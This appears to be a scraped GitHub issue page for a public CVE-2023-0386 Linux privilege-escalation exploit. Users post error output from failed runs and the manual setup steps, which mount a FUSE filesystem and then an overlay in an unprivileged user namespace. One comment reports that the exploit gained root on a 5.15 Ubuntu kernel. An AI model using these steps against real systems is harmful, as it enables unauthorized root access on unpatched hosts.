chenaotian / cve-2023-0386 Goto Github PK

mkdir: cannot create directory ‘/tmp//testfuse’: File exists
fuse: mountpoint is not empty
fuse: if you are sure this is safe, use the 'nonempty' mount option
mkdir: cannot create directory ‘/tmp//updir’: File exists
mkdir: cannot create directory ‘/tmp//overlaydir’: File exists
mkdir: cannot create directory ‘/tmp//workdir’: File exists
touch: cannot touch '/tmp//overlaydir/hello': Value too large for defined data type
touch: cannot touch '/tmp//overlaydir/hello': Value too large for defined data type
sh: 1: /tmp//updir/hello: not found
sh: 1: /tmp//updir/hello: not found
我的内核是 Linux ubuntu 5.15.0-71-generic

drwxrwxr-x 2 root root 4096 Oct 24 19:52 .
drwxr-x--- 12 root root 4096 Oct 24 19:45 ..
-rwxrwxr-x 1 root root 16760 Oct 24 19:45 hellofs
-rw-rw-r-- 1 root root 4192 Oct 24 19:45 hellofs.c
root@VM-0-8-ubuntu:/fenxiang#
root@VM-0-8-ubuntu:/fenxiang# mkdir hello_mount_point overlay_mount_point upperdir workdir
root@VM-0-8-ubuntu:/fenxiang# ./hellofs hello_mount_point
root@VM-0-8-ubuntu:/fenxiang# unshare -Urm
root@VM-0-8-ubuntu:/fenxiang# mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point
root@VM-0-8-ubuntu:/fenxiang# touch overlay_mount_point/hello
touch: cannot touch 'overlay_mount_point/hello': Function not implemented
root@VM-0-8-ubuntu:~/fenxiang#

直接执行exp可以成功提权，不知道是啥原因？内核版本：Linux VM-0-8-ubuntu 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux